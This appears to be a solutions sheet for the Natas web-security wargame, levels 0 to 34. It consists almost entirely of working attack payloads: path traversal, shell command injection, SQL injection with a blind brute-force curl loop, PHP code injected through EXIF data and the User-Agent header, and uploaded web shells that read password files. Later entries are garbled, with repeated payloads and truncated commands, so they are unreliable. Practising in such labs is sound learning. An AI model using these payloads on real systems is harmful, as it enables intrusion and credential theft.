

NATA'S WARGAME:

Level 0:

No command needed.

Level 0 – 1:

No command needed.

Level 1 - 2:

No command needed.

Level 2 - 3:

URL:<http://natas2.natas.labs.overthewire.org/files/users.txt>

Level 3 – 4:

URL:<http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt>

Level 4 – 5:

```
curl -u natas4:<password> -H "Referer:  
http://natas5.natas.labs.overthewire.org"  
http://natas4.natas.labs.overthewire.org
```

Level 5 – 6:

Edit cookies manually.

Set Cookie: loggedin = 1

Level 6 – 7:

URL:<http://natas6.natas.labs.overthewire.org/includes/secret.inc>

Level 7 – 8:

URL:http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8

Level 8 – 9:

Decode the secret manually or with a small Python script.

Level 9 – 10:

```
; cat /etc/natas_webpass/natas10
```

Level 10 -11:

test%0acat /etc/natas_webpass/natas11

Level 11 – 12:

Python script to decode and modify cookie.

```
import base64
```

```
cookie =
```

```
"HmYkBwozJw4WNyAAFYB1VUcqOE1JZjUIBis7ABdmbU1GljEJAylxTRg="
```

```
decoded = base64.b64decode(cookie)
```

```
print(decoded)
```

use cyberchef online tool to encode the password.

Level 12 – 13:

```
<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>
```

Level 13 – 14:

```
exiftool -Comment='<?php echo
```

```
file_get_contents("/etc/natas_webpass/natas14"); ?>' image.jpg
```

Level 14 – 15:

```
natas14" OR "1"="1" --
```

Level 15 – 16:

```
natas16" AND password LIKE BINARY "a%" --
```

```
curl -u natas15:<password>
```

```
"http://natas15.natas.labs.overthewire.org/?username=natas16\" AND  
password LIKE BINARY \"a%\" -- "
```

```
for c in {a..z} {A..Z} {0..9}; do
```

```
    curl -s -u natas15:<password>
```

```
"http://natas15.natas.labs.overthewire.org/?username=natas16\" AND  
password LIKE BINARY \"$c%\" -- " | grep -q "exists" && echo $c
```

Level 16 – 17:

URL:http://natas16.natas.labs.overthewire.org/?needle=\$(cat /etc/natas_webpass/natas17)&submit=Search"

Level 17 – 18:

URL:"http://natas17.natas.labs.overthewire.org/?username=natas18\"

Level 18 – 19:

URL:"http://natas18.natas.labs.overthewire.org" -H **Cookie:**
PHPSESSID=\$session | grep -q "Password"

Level 19 – 20:

URL:"http://natas19.natas.labs.overthewire.org" -H **Cookie:**
PHPSESSID=\$session | grep -q "Password"

Level 20 – 21:

URL:"http://natas20.natas.labs.overthewire.org/?debug=1" -H

Cookie: PHPSESSID=123 --data "name=admin\nadmin 1"

Level 21 – 22:

URL:"http://natas21.natas.labs.overthewire.org?debug=1" -H

Cookie: loggedin=1

Level 22 – 23:

URL:"http://natas22.natas.labs.overthewire.org/?revelio=1" -v

Level 23 – 24:

URL:"http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou" --data
"submit=1"

Level 24 – 25:

URL:"http://natas24.natas.labs.overthewire.org/" -H "User-Agent: <?php
system('cat /etc/natas_webpass/natas25'); ?>"

Level 25 – 26:

URL:"http://natas25.natas.labs.overthewire.org/" -H "User-Agent: <?php
system('cat /etc/natas_webpass/natas26'); ?>"

Level 26 – 27:

URL:"http://natas26.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas_webpass/natas27'); ?>"

Level 27 – 28:

URL:"http://natas27.natas.labs.overthewire.org/" --data "username=natas28\"#&password=any"

Level 28 – 29:

URL:"http://natas28.natas.labs.overthewire.org/?username=natas29\"

Level 29 – 30:

URL:"http://natas29.natas.labs.overthewire.org/" --data "input=;cat /etc/natas_webpass/natas30"

Level 30 – 31:

URL:"http://natas30.natas.labs.overthewire.org/" --data "username=natas31&password[]=x"

Level 31 – 32:

URL:"http://natas31.natas.labs.overthewire.org/" -F "file=@shell.php"

curl

"http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas_webpass/natas32"

Level 32 – 33:

URL:"http://natas32.natas.labs.overthewire.org/" --data "input='\\$(cat /etc/natas_webpass/natas33)'"

Level 33 – 34:

URL:"http://natas33.natas.labs.overthewire.org/" -F "file=@shell.jpg"

curl

"http://natas33.natas.labs.overthewire.org/uploads/shell.php.jpg?cmd=cat+/etc/natas_webpass/natas34"